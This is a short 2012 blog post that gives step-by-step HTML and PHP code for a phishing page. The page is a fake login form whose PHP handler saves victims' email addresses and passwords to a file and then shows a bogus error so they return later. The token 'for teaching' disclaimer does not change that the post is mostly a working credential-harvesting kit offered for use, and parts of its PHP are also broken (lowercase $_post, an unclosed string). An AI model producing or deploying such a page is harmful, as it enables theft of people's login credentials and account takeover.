Monday, November 19, 2012

phishing(code)


This post is only for teaching and learning process. Anything you do with the codes is your own responsibility. So, plz don't try phishing on others because it is an illegal act.

The code for phishing is a very simple HTML and PHP combination.

The page that you will be viewing or the user will be viewing is the HTML page and we will use simple PHP code for combining the info into a file name file.

1. first create a HTML file. Its upto your creativity, how you create your website. For the demonstration I will use a simple login page.

<p align=center><img src="path of your image/logo">
</p>
<h1 align= center>The header goes here</h1>
<form action="phishing.php" method="post">
email address:<input type="text" name="email"/></br>
password:<input type="password" name="pwd"/>

<input type="submit" value="submit"/>
</form>



2. Now create a PHP file called phishing.php and type in the following code.
     This code written in PHP works with the previously entered login information and combines it into a file name "file".

<?php
$email=$_post['email'];
$password=$_post['pwd'];
$data=$email.','. $password;
$file=file;

file_put_contents($file,$data. PHP_EOL,FILE_APPEND);
print '<p align=center><img src="logo/image location">
</p>
<h1 align= center>The header goes here</h1>

</br>
<h1> error mssg stating some error so that user has to come and try again later as it is obvious that you are using the website only for phishing.</h1>
?>

3. The information will be saved in a file named "file". So, open the file and see whats inside then you may delete it because phishing out others information is illegal.

I hope you have understood the core of phishing.
Plz don't try doing this to others.

No comments:

Post a Comment